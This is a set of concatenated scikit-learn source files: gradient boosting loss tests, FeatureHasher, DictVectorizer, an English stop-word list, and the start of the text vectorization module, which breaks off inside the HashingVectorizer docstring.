    assert_array_equal(est.predict(np.array([[1.0], [1.0]])),
                       np.array([[0.0], [0.0]]))


def test_sample_weight_smoke():
    rng = check_random_state(13)
    y = rng.rand(100)
    pred = rng.rand(100)

    # least squares
    loss = LeastSquaresError(1)
    loss_wo_sw = loss(y, pred)
    loss_w_sw = loss(y, pred, np.ones(pred.shape[0], dtype=np.float32))
    assert_almost_equal(loss_wo_sw, loss_w_sw)


def test_sample_weight_init_estimators():
    # Smoke test for init estimators with sample weights.
    rng = check_random_state(13)
    X = rng.rand(100, 2)
    sample_weight = np.ones(100)
    reg_y = rng.rand(100)

    clf_y = rng.randint(0, 2, size=100)

    for Loss in LOSS_FUNCTIONS.values():
        if Loss is None:
            continue
        if issubclass(Loss, RegressionLossFunction):
            k = 1
            y = reg_y
        else:
            k = 2
            y = clf_y
            if Loss.is_multi_class:
                # skip multiclass
                continue

        loss = Loss(k)
        init_est = loss.init_estimator()
        init_est.fit(X, y)
        out = init_est.predict(X)
        assert_equal(out.shape, (y.shape[0], 1))

        sw_init_est = loss.init_estimator()
        sw_init_est.fit(X, y, sample_weight=sample_weight)
        sw_out = init_est.predict(X)
        assert_equal(sw_out.shape, (y.shape[0], 1))

        # check if predictions match
        assert_array_equal(out, sw_out)


def test_weighted_percentile():
    y = np.empty(102, dtype=np.float64)
    y[:50] = 0
    y[-51:] = 2
    y[-1] = 100000
    y[50] = 1
    sw = np.ones(102, dtype=np.float64)
    sw[-1] = 0.0
    score = _weighted_percentile(y, sw, 50)
    assert score == 1


def test_weighted_percentile_equal():
    y = np.empty(102, dtype=np.float64)
    y.fill(0.0)
    sw = np.ones(102, dtype=np.float64)
    sw[-1] = 0.0
    score = _weighted_percentile(y, sw, 50)
    assert score == 0


def test_weighted_percentile_zero_weight():
    y = np.empty(102, dtype=np.float64)
    y.fill(1.0)
    sw = np.ones(102, dtype=np.float64)
    sw.fill(0.0)
    score = _weighted_percentile(y, sw, 50)
    assert score == 1.0


def test_sample_weight_deviance():
    # Test if deviance supports sample weights.
    rng = check_random_state(13)
    X = rng.rand(100, 2)
    sample_weight = np.ones(100)
    reg_y = rng.rand(100)
    clf_y = rng.randint(0, 2, size=100)
    mclf_y = rng.randint(0, 3, size=100)

    for Loss in LOSS_FUNCTIONS.values():
        if Loss is None:
            continue
        if issubclass(Loss, RegressionLossFunction):
            k = 1
            y = reg_y
            p = reg_y
        else:
            k = 2
            y = clf_y
            p = clf_y
            if Loss.is_multi_class:
                k = 3
                y = mclf_y
                # one-hot encoding
                p = np.zeros((y.shape[0], k), dtype=np.float64)
                for i in range(k):
                    p[:, i] = y == i

        loss = Loss(k)
        deviance_w_w = loss(y, p, sample_weight)
        deviance_wo_w = loss(y, p)
        assert deviance_wo_w == deviance_w_w






# Author: Lars Buitinck
# License: BSD 3 clause

import numbers

import numpy as np
import scipy.sparse as sp

from . import _hashing
from ..base import BaseEstimator, TransformerMixin


def _iteritems(d):
    """Like d.iteritems, but accepts any collections.Mapping."""
    return d.iteritems() if hasattr(d, "iteritems") else d.items()


class FeatureHasher(BaseEstimator, TransformerMixin):
    """Implements feature hashing, aka the hashing trick.

    This class turns sequences of symbolic feature names (strings) into
    scipy.sparse matrices, using a hash function to compute the matrix column
    corresponding to a name. The hash function employed is the signed 32-bit
    version of Murmurhash3.

    Feature names of type byte string are used as-is. Unicode strings are
    converted to UTF-8 first, but no Unicode normalization is done.
    Feature values must be (finite) numbers.

    This class is a low-memory alternative to DictVectorizer and
    CountVectorizer, intended for large-scale (online) learning and situations
    where memory is tight, e.g. when running prediction code on embedded
    devices.

    Read more in the :ref:`User Guide <feature_hashing>`.

    Parameters
    ----------
    n_features : integer, optional
        The number of features (columns) in the output matrices. Small numbers
        of features are likely to cause hash collisions, but large numbers
        will cause larger coefficient dimensions in linear learners.
    dtype : numpy type, optional, default np.float64
        The type of feature values. Passed to scipy.sparse matrix constructors
        as the dtype argument. Do not set this to bool, np.boolean or any
        unsigned integer type.
    input_type : string, optional, default "dict"
        Either "dict" (the default) to accept dictionaries over
        (feature_name, value); "pair" to accept pairs of (feature_name, value);
        or "string" to accept single strings.
        feature_name should be a string, while value should be a number.
        In the case of "string", a value of 1 is implied.
        The feature_name is hashed to find the appropriate column for the
        feature. The value's sign might be flipped in the output (but see
        non_negative, below).
    non_negative : boolean, optional, default False
        Whether output matrices should contain non-negative values only;
        effectively calls abs on the matrix prior to returning it.
        When True, output values can be interpreted as frequencies.
        When False, output values will have expected value zero.

    Examples
    --------
    >>> from sklearn.feature_extraction import FeatureHasher
    >>> h = FeatureHasher(n_features=10)
    >>> D = [{'dog': 1, 'cat':2, 'elephant':4},{'dog': 2, 'run': 5}]
    >>> f = h.transform(D)
    >>> f.toarray()
    array([[ 0.,  0., -4., -1.,  0.,  0.,  0.,  0.,  0.,  2.],
           [ 0.,  0.,  0., -2., -5.,  0.,  0.,  0.,  0.,  0.]])

    See also
    --------
    DictVectorizer : vectorizes string-valued features using a hash table.
    sklearn.preprocessing.OneHotEncoder : handles nominal/categorical features
      encoded as columns of integers.
    """

    def __init__(self, n_features=(2 ** 20), input_type="dict",
                 dtype=np.float64, non_negative=False):
        self._validate_params(n_features, input_type)

        self.dtype = dtype
        self.input_type = input_type
        self.n_features = n_features
        self.non_negative = non_negative

    @staticmethod
    def _validate_params(n_features, input_type):
        # strangely, np.int16 instances are not instances of Integral,
        # while np.int64 instances are...
        if not isinstance(n_features, (numbers.Integral, np.integer)):
            raise TypeError("n_features must be integral, got %r (%s)."
                            % (n_features, type(n_features)))
        elif n_features < 1 or n_features >= 2 ** 31:
            raise ValueError("Invalid number of features (%d)." % n_features)

        if input_type not in ("dict", "pair", "string"):
            raise ValueError("input_type must be 'dict', 'pair' or 'string',"
                             " got %r." % input_type)

    def fit(self, X=None, y=None):
        """No-op.

        This method doesn't do anything. It exists purely for compatibility
        with the scikit-learn transformer API.

        Returns
        -------
        self : FeatureHasher

        """
        # repeat input validation for grid search (which calls set_params)
        self._validate_params(self.n_features, self.input_type)
        return self

    def transform(self, raw_X, y=None):
        """Transform a sequence of instances to a scipy.sparse matrix.

        Parameters
        ----------
        raw_X : iterable over iterable over raw features, length = n_samples
            Samples. Each sample must be iterable an (e.g., a list or tuple)
            containing/generating feature names (and optionally values, see
            the input_type constructor argument) which will be hashed.
            raw_X need not support the len function, so it can be the result
            of a generator; n_samples is determined on the fly.
        y : (ignored)

        Returns
        -------
        X : scipy.sparse matrix, shape = (n_samples, self.n_features)
            Feature matrix, for use with estimators or further transformers.

        """
        raw_X = iter(raw_X)
        if self.input_type == "dict":
            raw_X = (_iteritems(d) for d in raw_X)
        elif self.input_type == "string":
            raw_X = (((f, 1) for f in x) for x in raw_X)
        indices, indptr, values = \
            _hashing.transform(raw_X, self.n_features, self.dtype)
        n_samples = indptr.shape[0] - 1

        if n_samples == 0:
            raise ValueError("Cannot vectorize empty sequence.")

        X = sp.csr_matrix((values, indices, indptr), dtype=self.dtype,
                          shape=(n_samples, self.n_features))
        X.sum_duplicates()  # also sorts the indices
        if self.non_negative:
            np.abs(X.data, X.data)
        return X






import os


def configuration(parent_package='', top_path=None):
    import numpy
    from numpy.distutils.misc_util import Configuration

    config = Configuration('feature_extraction', parent_package, top_path)
    libraries = []
    if os.name == 'posix':
        libraries.append('m')

    config.add_extension('_hashing',
                         sources=['_hashing.c'],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)
    config.add_subpackage("tests")

    return config






# This list of English stop words is taken from the "Glasgow Information
# Retrieval Group". The original list can be found at
# http://ir.dcs.gla.ac.uk/resources/linguistic_utils/stop_words
ENGLISH_STOP_WORDS = frozenset([
    "a", "about", "above", "across", "after", "afterwards", "again", "against",
    "all", "almost", "alone", "along", "already", "also", "although", "always",
    "am", "among", "amongst", "amoungst", "amount", "an", "and", "another",
    "any", "anyhow", "anyone", "anything", "anyway", "anywhere", "are",
    "around", "as", "at", "back", "be", "became", "because", "become",
    "becomes", "becoming", "been", "before", "beforehand", "behind", "being",
    "below", "beside", "besides", "between", "beyond", "bill", "both",
    "bottom", "but", "by", "call", "can", "cannot", "cant", "co", "con",
    "could", "couldnt", "cry", "de", "describe", "detail", "do", "done",
    "down", "due", "during", "each", "eg", "eight", "either", "eleven", "else",
    "elsewhere", "empty", "enough", "etc", "even", "ever", "every", "everyone",
    "everything", "everywhere", "except", "few", "fifteen", "fifty", "fill",
    "find", "fire", "first", "five", "for", "former", "formerly", "forty",
    "found", "four", "from", "front", "full", "further", "get", "give", "go",
    "had", "has", "hasnt", "have", "he", "hence", "her", "here", "hereafter",
    "hereby", "herein", "hereupon", "hers", "herself", "him", "himself", "his",
    "how", "however", "hundred", "i", "ie", "if", "in", "inc", "indeed",
    "interest", "into", "is", "it", "its", "itself", "keep", "last", "latter",
    "latterly", "least", "less", "ltd", "made", "many", "may", "me",
    "meanwhile", "might", "mill", "mine", "more", "moreover", "most", "mostly",
    "move", "much", "must", "my", "myself", "name", "namely", "neither",
    "never", "nevertheless", "next", "nine", "no", "nobody", "none", "noone",
    "nor", "not", "nothing", "now", "nowhere", "of", "off", "often", "on",
    "once", "one", "only", "onto", "or", "other", "others", "otherwise", "our",
    "ours", "ourselves", "out", "over", "own", "part", "per", "perhaps",
    "please", "put", "rather", "re", "same", "see", "seem", "seemed",
    "seeming", "seems", "serious", "several", "she", "should", "show", "side",
    "since", "sincere", "six", "sixty", "so", "some", "somehow", "someone",
    "something", "sometime", "sometimes", "somewhere", "still", "such",
    "system", "take", "ten", "than", "that", "the", "their", "them",
    "themselves", "then", "thence", "there", "thereafter", "thereby",
    "therefore", "therein", "thereupon", "these", "they", "thick", "thin",
    "third", "this", "those", "though", "three", "through", "throughout",
    "thru", "thus", "to", "together", "too", "top", "toward", "towards",
    "twelve", "twenty", "two", "un", "under", "until", "up", "upon", "us",
    "very", "via", "was", "we", "well", "were", "what", "whatever", "when",
    "whence", "whenever", "where", "whereafter", "whereas", "whereby",
    "wherein", "whereupon", "wherever", "whether", "which", "while", "whither",
    "who", "whoever", "whole", "whom", "whose", "why", "will", "with",
    "within", "without", "would", "yet", "you", "your", "yours", "yourself",
    "yourselves"])






# Authors: Lars Buitinck
#          Dan Blanchard <dblanchard@ets.org>
# License: BSD 3 clause

from array import array
from collections import Mapping
from operator import itemgetter

import numpy as np
import scipy.sparse as sp

from ..base import BaseEstimator, TransformerMixin
from ..externals import six
from ..externals.six.moves import xrange
from ..utils import check_array, tosequence
from ..utils.fixes import frombuffer_empty


def _tosequence(X):
    """Turn X into a sequence or ndarray, avoiding a copy if possible."""
    if isinstance(X, Mapping):  # single sample
        return [X]
    else:
        return tosequence(X)


class DictVectorizer(BaseEstimator, TransformerMixin):
    """Transforms lists of feature-value mappings to vectors.

    This transformer turns lists of mappings (dict-like objects) of feature
    names to feature values into Numpy arrays or scipy.sparse matrices for use
    with scikit-learn estimators.

    When feature values are strings, this transformer will do a binary one-hot
    (aka one-of-K) coding: one boolean-valued feature is constructed for each
    of the possible string values that the feature can take on. For instance,
    a feature "f" that can take on the values "ham" and "spam" will become two
    features in the output, one signifying "f=ham", the other "f=spam".

    However, note that this transformer will only do a binary one-hot encoding
    when feature values are of type string. If categorical features are
    represented as numeric values such as int, the DictVectorizer can be
    followed by OneHotEncoder to complete binary one-hot encoding.

    Features that do not occur in a sample (mapping) will have a zero value
    in the resulting array/matrix.

    Read more in the :ref:`User Guide <dict_feature_extraction>`.

    Parameters
    ----------
    dtype : callable, optional
        The type of feature values. Passed to Numpy array/scipy.sparse matrix
        constructors as the dtype argument.
    separator: string, optional
        Separator string used when constructing new features for one-hot
        coding.
    sparse: boolean, optional.
        Whether transform should produce scipy.sparse matrices.
        True by default.
    sort: boolean, optional.
        Whether ``feature_names_`` and ``vocabulary_`` should be sorted when fitting.
        True by default.

    Attributes
    ----------
    vocabulary_ : dict
        A dictionary mapping feature names to feature indices.

    feature_names_ : list
        A list of length n_features containing the feature names (e.g., "f=ham"
        and "f=spam").

    Examples
    --------
    >>> from sklearn.feature_extraction import DictVectorizer
    >>> v = DictVectorizer(sparse=False)
    >>> D = [{'foo': 1, 'bar': 2}, {'foo': 3, 'baz': 1}]
    >>> X = v.fit_transform(D)
    >>> X
    array([[ 2.,  0.,  1.],
           [ 0.,  1.,  3.]])
    >>> v.inverse_transform(X) == \
        [{'bar': 2.0, 'foo': 1.0}, {'baz': 1.0, 'foo': 3.0}]
    True
    >>> v.transform({'foo': 4, 'unseen_feature': 3})
    array([[ 0.,  0.,  4.]])

    See also
    --------
    FeatureHasher : performs vectorization using only a hash function.
    sklearn.preprocessing.OneHotEncoder : handles nominal/categorical features
      encoded as columns of integers.
    """

    def __init__(self, dtype=np.float64, separator="=", sparse=True,
                 sort=True):
        self.dtype = dtype
        self.separator = separator
        self.sparse = sparse
        self.sort = sort

    def fit(self, X, y=None):
        """Learn a list of feature name -> indices mappings.

        Parameters
        ----------
        X : Mapping or iterable over Mappings
            Dict(s) or Mapping(s) from feature names (arbitrary Python
            objects) to feature values (strings or convertible to dtype).
        y : (ignored)

        Returns
        -------
        self
        """
        feature_names = []
        vocab = {}

        for x in X:
            for f, v in six.iteritems(x):
                if isinstance(v, six.string_types):
                    f = "%s%s%s" % (f, self.separator, v)
                if f not in vocab:
                    feature_names.append(f)
                    vocab[f] = len(vocab)

        if self.sort:
            feature_names.sort()
            vocab = dict((f, i) for i, f in enumerate(feature_names))

        self.feature_names_ = feature_names
        self.vocabulary_ = vocab

        return self

    def _transform(self, X, fitting):
        # Sanity check: Python's array has no way of explicitly requesting the
        # signed 32-bit integers that scipy.sparse needs, so we use the next
        # best thing: typecode "i" (int). However, if that gives larger or
        # smaller integers than 32-bit ones, np.frombuffer screws up.
        assert array("i").itemsize == 4, (
            "sizeof(int) != 4 on your platform; please report this at"
            " https://github.com/scikit-learn/scikit-learn/issues and"
            " include the output from platform.platform() in your bug report")

        dtype = self.dtype
        if fitting:
            feature_names = []
            vocab = {}
        else:
            feature_names = self.feature_names_
            vocab = self.vocabulary_

        # Process everything as sparse regardless of setting
        X = [X] if isinstance(X, Mapping) else X

        indices = array("i")
        indptr = array("i", [0])
        # XXX we could change values to an array.array as well, but it
        # would require (heuristic) conversion of dtype to typecode...
        values = []

        # collect all the possible feature names and build sparse matrix at
        # same time
        for x in X:
            for f, v in six.iteritems(x):
                if isinstance(v, six.string_types):
                    f = "%s%s%s" % (f, self.separator, v)
                    v = 1
                if f in vocab:
                    indices.append(vocab[f])
                    values.append(dtype(v))
                else:
                    if fitting:
                        feature_names.append(f)
                        vocab[f] = len(vocab)
                        indices.append(vocab[f])
                        values.append(dtype(v))

            indptr.append(len(indices))

        if len(indptr) == 1:
            raise ValueError("Sample sequence X is empty.")

        indices = frombuffer_empty(indices, dtype=np.intc)
        indptr = np.frombuffer(indptr, dtype=np.intc)
        shape = (len(indptr) - 1, len(vocab))

        result_matrix = sp.csr_matrix((values, indices, indptr),
                                      shape=shape, dtype=dtype)

        # Sort everything if asked
        if fitting and self.sort:
            feature_names.sort()
            map_index = np.empty(len(feature_names), dtype=np.int32)
            for new_val, f in enumerate(feature_names):
                map_index[new_val] = vocab[f]
                vocab[f] = new_val
            result_matrix = result_matrix[:, map_index]

        if self.sparse:
            result_matrix.sort_indices()
        else:
            result_matrix = result_matrix.toarray()

        if fitting:
            self.feature_names_ = feature_names
            self.vocabulary_ = vocab

        return result_matrix

    def fit_transform(self, X, y=None):
        """Learn a list of feature name -> indices mappings and transform X.

        Like fit(X) followed by transform(X), but does not require
        materializing X in memory.

        Parameters
        ----------
        X : Mapping or iterable over Mappings
            Dict(s) or Mapping(s) from feature names (arbitrary Python
            objects) to feature values (strings or convertible to dtype).
        y : (ignored)

        Returns
        -------
        Xa : {array, sparse matrix}
            Feature vectors; always 2-d.
        """
        return self._transform(X, fitting=True)

    def inverse_transform(self, X, dict_type=dict):
        """Transform array or sparse matrix X back to feature mappings.

        X must have been produced by this DictVectorizer's transform or
        fit_transform method; it may only have passed through transformers
        that preserve the number of features and their order.

        In the case of one-hot/one-of-K coding, the constructed feature
        names and values are returned rather than the original ones.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Sample matrix.
        dict_type : callable, optional
            Constructor for feature mappings. Must conform to the
            collections.Mapping API.

        Returns
        -------
        D : list of dict_type objects, length = n_samples
            Feature mappings for the samples in X.
        """
        # COO matrix is not subscriptable
        X = check_array(X, accept_sparse=['csr', 'csc'])
        n_samples = X.shape[0]

        names = self.feature_names_
        dicts = [dict_type() for _ in xrange(n_samples)]

        if sp.issparse(X):
            for i, j in zip(*X.nonzero()):
                dicts[i][names[j]] = X[i, j]
        else:
            for i, d in enumerate(dicts):
                for j, v in enumerate(X[i, :]):
                    if v != 0:
                        d[names[j]] = X[i, j]

        return dicts

    def transform(self, X, y=None):
        """Transform feature->value dicts to array or sparse matrix.

        Named features not encountered during fit or fit_transform will be
        silently ignored.

        Parameters
        ----------
        X : Mapping or iterable over Mappings, length = n_samples
            Dict(s) or Mapping(s) from feature names (arbitrary Python
            objects) to feature values (strings or convertible to dtype).
        y : (ignored)

        Returns
        -------
        Xa : {array, sparse matrix}
            Feature vectors; always 2-d.
        """
        if self.sparse:
            return self._transform(X, fitting=False)

        else:
            dtype = self.dtype
            vocab = self.vocabulary_
            X = _tosequence(X)
            Xa = np.zeros((len(X), len(vocab)), dtype=dtype)

            for i, x in enumerate(X):
                for f, v in six.iteritems(x):
                    if isinstance(v, six.string_types):
                        f = "%s%s%s" % (f, self.separator, v)
                        v = 1
                    try:
                        Xa[i, vocab[f]] = dtype(v)
                    except KeyError:
                        pass

            return Xa

    def get_feature_names(self):
        """Returns a list of feature names, ordered by their indices.

        If one-of-K coding is applied to categorical features, this will
        include the constructed feature names but not the original ones.
        """
        return self.feature_names_

    def restrict(self, support, indices=False):
        """Restrict the features to those in support using feature selection.

        This function modifies the estimator in-place.

        Parameters
        ----------
        support : array-like
            Boolean mask or list of indices (as returned by the get_support
            member of feature selectors).
        indices : boolean, optional
            Whether support is a list of indices.

        Returns
        -------
        self

        Examples
        --------
        >>> from sklearn.feature_extraction import DictVectorizer
        >>> from sklearn.feature_selection import SelectKBest, chi2
        >>> v = DictVectorizer()
        >>> D = [{'foo': 1, 'bar': 2}, {'foo': 3, 'baz': 1}]
        >>> X = v.fit_transform(D)
        >>> support = SelectKBest(chi2, k=2).fit(X, [0, 1])
        >>> v.get_feature_names()
        ['bar', 'baz', 'foo']
        >>> v.restrict(support.get_support()) # doctest: +ELLIPSIS
        DictVectorizer(dtype=..., separator='=', sort=True,
                sparse=True)
        >>> v.get_feature_names()
        ['bar', 'foo']
        """
        if not indices:
            support = np.where(support)[0]

        names = self.feature_names_
        new_vocab = {}
        for i in support:
            new_vocab[names[i]] = len(new_vocab)

        self.vocabulary_ = new_vocab
        self.feature_names_ = [f for f, i in sorted(six.iteritems(new_vocab),
                                                    key=itemgetter(1))]

        return self






"""
The :mod:`sklearn.feature_extraction` module deals with feature extraction
from raw data. It currently includes methods to extract features from text and
images.
"""

from .dict_vectorizer import DictVectorizer
from .hashing import FeatureHasher
from .image import img_to_graph, grid_to_graph
from . import text

__all__ = ['DictVectorizer', 'image', 'img_to_graph', 'grid_to_graph', 'text',
           'FeatureHasher']






# -*- coding: utf-8 -*-
# Authors: Olivier Grisel <olivier.grisel@ensta.org>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Lars Buitinck
#          Robert Layton <robertlayton@gmail.com>
#          Jochen Wersdörfer <jochen@wersdoerfer.de>
#          Roman Sinayev <roman.sinayev@gmail.com>
#
# License: BSD 3 clause
"""
The :mod:`sklearn.feature_extraction.text` submodule gathers utilities to
build feature vectors from text documents.
"""
from __future__ import unicode_literals

import array
from collections import Mapping, defaultdict
import numbers
from operator import itemgetter
import re
import unicodedata

import numpy as np
import scipy.sparse as sp

from ..base import BaseEstimator, TransformerMixin
from ..externals import six
from ..externals.six.moves import xrange
from ..preprocessing import normalize
from .hashing import FeatureHasher
from .stop_words import ENGLISH_STOP_WORDS
from ..utils import deprecated
from ..utils.fixes import frombuffer_empty, bincount
from ..utils.validation import check_is_fitted

__all__ = ['CountVectorizer',
           'ENGLISH_STOP_WORDS',
           'TfidfTransformer',
           'TfidfVectorizer',
           'strip_accents_ascii',
           'strip_accents_unicode',
           'strip_tags']


def strip_accents_unicode(s):
    """Transform accentuated unicode symbols into their simple counterpart

    Warning: the python-level loop and join operations make this
    implementation 20 times slower than the strip_accents_ascii basic
    normalization.

    See also
    --------
    strip_accents_ascii
        Remove accentuated char for any unicode symbol that has a direct
        ASCII equivalent.
    """
    normalized = unicodedata.normalize('NFKD', s)
    if normalized == s:
        return s
    else:
        return ''.join([c for c in normalized if not unicodedata.combining(c)])


def strip_accents_ascii(s):
    """Transform accentuated unicode symbols into ascii or nothing

    Warning: this solution is only suited for languages that have a direct
    transliteration to ASCII symbols.

    See also
    --------
    strip_accents_unicode
        Remove accentuated char for any unicode symbol.
    """
    nkfd_form = unicodedata.normalize('NFKD', s)
    return nkfd_form.encode('ASCII', 'ignore').decode('ASCII')


def strip_tags(s):
    """Basic regexp based HTML / XML tag stripper function

    For serious HTML/XML preprocessing you should rather use an external
    library such as lxml or BeautifulSoup.
    """
    return re.compile(r"<([^>]+)>", flags=re.UNICODE).sub(" ", s)


def _check_stop_list(stop):
    if stop == "english":
        return ENGLISH_STOP_WORDS
    elif isinstance(stop, six.string_types):
        raise ValueError("not a built-in stop list: %s" % stop)
    elif stop is None:
        return None
    else:               # assume it's a collection
        return frozenset(stop)


class VectorizerMixin(object):
    """Provides common code for text vectorizers (tokenization logic)."""

    _white_spaces = re.compile(r"\s\s+")

    def decode(self, doc):
        """Decode the input into a string of unicode symbols

        The decoding strategy depends on the vectorizer parameters.
        """
        if self.input == 'filename':
            with open(doc, 'rb') as fh:
                doc = fh.read()

        elif self.input == 'file':
            doc = doc.read()

        if isinstance(doc, bytes):
            doc = doc.decode(self.encoding, self.decode_error)

        if doc is np.nan:
            raise ValueError("np.nan is an invalid document, expected byte or "
                             "unicode string.")

        return doc

    def _word_ngrams(self, tokens, stop_words=None):
        """Turn tokens into a sequence of n-grams after stop words filtering"""
        # handle stop words
        if stop_words is not None:
            tokens = [w for w in tokens if w not in stop_words]

        # handle token n-grams
        min_n, max_n = self.ngram_range
        if max_n != 1:
            original_tokens = tokens
            tokens = []
            n_original_tokens = len(original_tokens)
            for n in xrange(min_n,
                            min(max_n + 1, n_original_tokens + 1)):
                for i in xrange(n_original_tokens - n + 1):
                    tokens.append(" ".join(original_tokens[i: i + n]))

        return tokens

    def _char_ngrams(self, text_document):
        """Tokenize text_document into a sequence of character n-grams"""
        # normalize white spaces
        text_document = self._white_spaces.sub(" ", text_document)

        text_len = len(text_document)
        ngrams = []
        min_n, max_n = self.ngram_range
        for n in xrange(min_n, min(max_n + 1, text_len + 1)):
            for i in xrange(text_len - n + 1):
                ngrams.append(text_document[i: i + n])
        return ngrams

    def _char_wb_ngrams(self, text_document):
        """Whitespace sensitive char-n-gram tokenization.

        Tokenize text_document into a sequence of character n-grams
        excluding any whitespace (operating only inside word boundaries)"""
        # normalize white spaces
        text_document = self._white_spaces.sub(" ", text_document)

        min_n, max_n = self.ngram_range
        ngrams = []
        for w in text_document.split():
            w = ' ' + w + ' '
            w_len = len(w)
            for n in xrange(min_n, max_n + 1):
                offset = 0
                ngrams.append(w[offset:offset + n])
                while offset + n < w_len:
                    offset += 1
                    ngrams.append(w[offset:offset + n])
                if offset == 0:   # count a short word (w_len < n) only once
                    break
        return ngrams

    def build_preprocessor(self):
        """Return a function to preprocess the text before tokenization"""
        if self.preprocessor is not None:
            return self.preprocessor

        # unfortunately python functools package does not have an efficient
        # `compose` function that would have allowed us to chain a dynamic
        # number of functions. However the cost of a lambda call is a few
        # hundreds of nanoseconds which is negligible when compared to the
        # cost of tokenizing a string of 1000 chars for instance.
        noop = lambda x: x

        # accent stripping
        if not self.strip_accents:
            strip_accents = noop
        elif callable(self.strip_accents):
            strip_accents = self.strip_accents
        elif self.strip_accents == 'ascii':
            strip_accents = strip_accents_ascii
        elif self.strip_accents == 'unicode':
            strip_accents = strip_accents_unicode
        else:
            raise ValueError('Invalid value for "strip_accents": %s' %
                             self.strip_accents)

        if self.lowercase:
            return lambda x: strip_accents(x.lower())
        else:
            return strip_accents

    def build_tokenizer(self):
        """Return a function that splits a string into a sequence of tokens"""
        if self.tokenizer is not None:
            return self.tokenizer
        token_pattern = re.compile(self.token_pattern)
        return lambda doc: token_pattern.findall(doc)

    def get_stop_words(self):
        """Build or fetch the effective stop words list"""
        return _check_stop_list(self.stop_words)

    def build_analyzer(self):
        """Return a callable that handles preprocessing and tokenization"""
        if callable(self.analyzer):
            return self.analyzer

        preprocess = self.build_preprocessor()

        if self.analyzer == 'char':
            return lambda doc: self._char_ngrams(preprocess(self.decode(doc)))

        elif self.analyzer == 'char_wb':
            return lambda doc: self._char_wb_ngrams(
                preprocess(self.decode(doc)))

        elif self.analyzer == 'word':
            stop_words = self.get_stop_words()
            tokenize = self.build_tokenizer()

            return lambda doc: self._word_ngrams(
                tokenize(preprocess(self.decode(doc))), stop_words)

        else:
            raise ValueError('%s is not a valid tokenization scheme/analyzer' %
                             self.analyzer)

    def _validate_vocabulary(self):
        vocabulary = self.vocabulary
        if vocabulary is not None:
            if isinstance(vocabulary, set):
                vocabulary = sorted(vocabulary)
            if not isinstance(vocabulary, Mapping):
                vocab = {}
                for i, t in enumerate(vocabulary):
                    if vocab.setdefault(t, i) != i:
                        msg = "Duplicate term in vocabulary: %r" % t
                        raise ValueError(msg)
                vocabulary = vocab
            else:
                indices = set(six.itervalues(vocabulary))
                if len(indices) != len(vocabulary):
                    raise ValueError("Vocabulary contains repeated indices.")
                for i in xrange(len(vocabulary)):
                    if i not in indices:
                        msg = ("Vocabulary of size %d doesn't contain index "
                               "%d." % (len(vocabulary), i))
                        raise ValueError(msg)
            if not vocabulary:
                raise ValueError("empty vocabulary passed to fit")
            self.fixed_vocabulary_ = True
            self.vocabulary_ = dict(vocabulary)
        else:
            self.fixed_vocabulary_ = False

    def _check_vocabulary(self):
        """Check if vocabulary is empty or missing (not fit-ed)"""
        msg = "%(name)s - Vocabulary wasn't fitted."
        check_is_fitted(self, 'vocabulary_', msg=msg),

        if len(self.vocabulary_) == 0:
            raise ValueError("Vocabulary is empty")


class HashingVectorizer(BaseEstimator, VectorizerMixin):
    """Convert a collection of text documents to a matrix of token occurrences

    It turns a collection of text documents into a scipy.sparse matrix holding
    token occurrence counts (or binary occurrence information), possibly
    normalized as token frequencies if norm='l1' or projected on the euclidean
    unit sphere if norm='l2'.

    This text vectorizer implementation uses the hashing trick to find the
    token string name to feature integer index mapping.

    This strategy has several advantages:

    - it is very low memory scalable to large datasets as there is no need to
      store a vocabulary dictionary in memory

    - it is fast to pickle and un-pickle as it holds no state besides the
      constructor parameters

    - it can be used in a streaming (partial fit) or parallel pipeline as there
      is no state computed during fit.

    There are also a couple of cons (vs using a CountVectorizer with an
    in-memory vocabulary):

    - there is no way to compute the inverse transform (from feature indices to
      string feature names) which can be a problem when trying to introspect
      which features are most important to a model.

    - there can be collisions: distinct tokens can be mapped to the same
      feature index. However in practice this is rarely an issue if n_features
      is large enough (e.g. 2 ** 18 for text classification problems).

    - no IDF weighting as this would render the transformer stateful.

    The hash function employed is the signed 32-bit version of Murmurhash3.

    Read more in the :ref:`User Guide <text_feature_extraction>`.

    Parameters
    ----------

    input : string {'filename', 'file', 'content'}
        If 'filename', the sequence passed as an argument to fit is
        expected to be a list of filenames that need reading to fetch
        the raw content to analyze.

        If 'file', the sequence items must have a 'read' method (file-like
        object) that is called to fetch the bytes in memory.

        Otherwise the input is expected to be the sequence strings or
        bytes items are expected to be analyzed directly.

    encoding : string, default='utf-8'
        If bytes or files are given to analyze, this encoding is used to
        decode.

    decode_error : {'strict', 'ignore', 'replace'}
        Instruction on what to do if a byte sequence is given to analyze that
        contains characters not of the given `encoding`. By default, it is
        'strict', meaning that a UnicodeDecodeError will be raised. Other
        values are 'ignore' and 'replace'.

    strip_accents : {'ascii', 'unicode', None}
        Remove accents during the preprocessing step.
        'ascii' is a fast method that only works on characters that have
        an direct ASCII mapping.
        'unicode' is a slightly slower method that works on any characters.
        None (default) does nothing.

    analyzer : string, {'word', 'char', 'char_wb'} or callable
        Whether the feature should be made of word or character n-grams.
        Option 'char_wb' creates character n-grams only from text inside
        word boundaries.

        If a callable is passed it is used to extract the sequence of features
        out of the raw, unprocessed input.

    preprocessor : callable or None (default)
        Override the preprocessing (string transformation) stage while
        preserving the tokenizing and n-grams generation steps.

    tokenizer : callable or None (default)
        Override the string tokenization step while preserving the
        preprocessing and n-grams generation steps.
        Only applies if ``analyzer == 'word'``.

    ngram_range : tuple (min_n, max_n), default=(1, 1)
        The lower and upper boundary of the range of n-values for different
        n-grams to be extracted. All values of n such that min_n <= n <= max_n
        will be used.

    stop_words : string {'english'}, list, or None (default)
        If 'english', a built-in stop word list for English is used.

        If a list, that list is assumed to contain stop words, all of which
        will be removed from the resulting tokens.
        Only applies if ``analyzer == 'word'``.

    lowercase : boolean, default=True
        Convert all characters to lowercase before tokenizing.

    token_pattern : string
        Regular expression denoting what constitutes a "token", only used
        if ``analyzer == 'word'``. The default regexp selects tokens of 2
        or more alphanumeric characters (punctuation is completely ignored
        and always treated as a token separator).

    n_features : integer, default=(2 ** 20)
        The number of features (columns) in the output matrices. Small numbers
        of features are likely to cause hash collisions, but large numbers
        will cause larger coefficient dimensions in linear learners.

    norm : 'l1', 'l2' or None, optional
        Norm used to normalize term vectors. None for no normalization.

    binary: boolean, default=False.
        If True, all non zero counts are set to 1. This is useful for discrete
        probabilistic models that model binary events rather than integer
        counts.
